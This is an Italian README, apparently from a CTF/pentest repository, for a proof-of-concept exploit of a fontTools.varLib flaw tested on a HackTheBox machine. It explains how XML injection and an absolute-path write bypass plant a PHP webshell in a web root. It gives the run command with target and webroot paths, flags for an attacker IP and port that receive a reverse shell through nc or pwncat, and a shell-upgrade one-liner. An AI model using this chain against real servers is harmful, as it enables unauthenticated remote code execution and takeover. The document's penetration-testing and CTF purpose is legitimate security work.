
CVE-2025-66034 - fontTools varLib Scrittura arbitraria di file → RCE PoC exploit per una vulnerabilità di Scrittura arbitraria di file + Iniezione XML in fontTools.varLib.
PoC exploit per una vulnerabilità di Scrittura Arbitraria di File + Iniezione XML in
fontTools.varLibTestato su HackTheBox — VarIaType
fontTools.varLib elabora file XML .designspace per creare font variabili. Due debolezze si combinano per ottenere RCE senza autenticazione:
| # | Primitiva | Dettaglio |
|---|---|---|
| 1 | Iniezione XML tramite suddivisione CDATA | Il contenuto controllato dall'attaccante all'interno di <labelname> viene scritto letteralmente nel corpo del file font di output, consentendo l'iniezione di dati arbitrari |
| 2 | Scrittura Arbitraria di File tramite bypass di os.path.join() | L'attributo filename di <variable-font> accetta un percorso assoluto. Quando passato a os.path.join(), scarta la directory di output prevista e scrive in qualsiasi percorso del filesystem specificato dall'attaccante |
Concatenando entrambe le primitive è possibile scrivere una webshell PHP in un percorso accessibile via web, ottenendo un'esecuzione di codice remota senza autenticazione.
python3 font_varlib.py \
--ip <attacker-ip> \
--port <port> \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/portal.target.htb/public/files \
--shell http://portal.target.htb/files
pip install requests fonttools
.ttf minimi (source-light.ttf, source-regular.ttf) vengono generati utilizzando fontTools.FontBuilder come master richiesti per il designspace.designspace malevolo — Viene creato un file XML appositamente modificato con:
<labelname>filename di <variable-font>, bypassando output_dir tramite os.path.join().designspace + i font master vengono inviati tramite POST all'endpoint di elaborazione.php piantato viene richiesto, eseguendo il payload della reverse shell| Campo | |
|---|---|
| CVE | CVE-2025-66034 |
| Componente interessato | fontTools.varLib |
| Impatto | Scrittura Arbitraria di File non autenticata → Esecuzione di Codice Remota |
| Contesto | Applicazione web che espone un endpoint di elaborazione font |
Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e uso in CTF. Non eseguirlo su sistemi che non possiedi o per cui non hai esplicito permesso scritto di test.
di 4nuxd
| Flag | Descrizione |
|---|
--ip | IP dell'attaccante per il callback della reverse shell |
--port | Porta in ascolto |
--upload | URL completo dell'endpoint di elaborazione font (POST) |
--webroot | Percorso assoluto lato server che corrisponde a una directory accessibile via web |
--shell | URL base sotto cui la webshell sarà accessibile |
--no-listen | Salta l'ascolto automatico — stampa invece i comandi manuali |
--pwncat | Usa pwncat-cs invece di nc (preferito se disponibile) |
python3 -c 'import pty; pty.spawn("/bin/bash")' e imposta TERM + stty per una shell completamente interattiva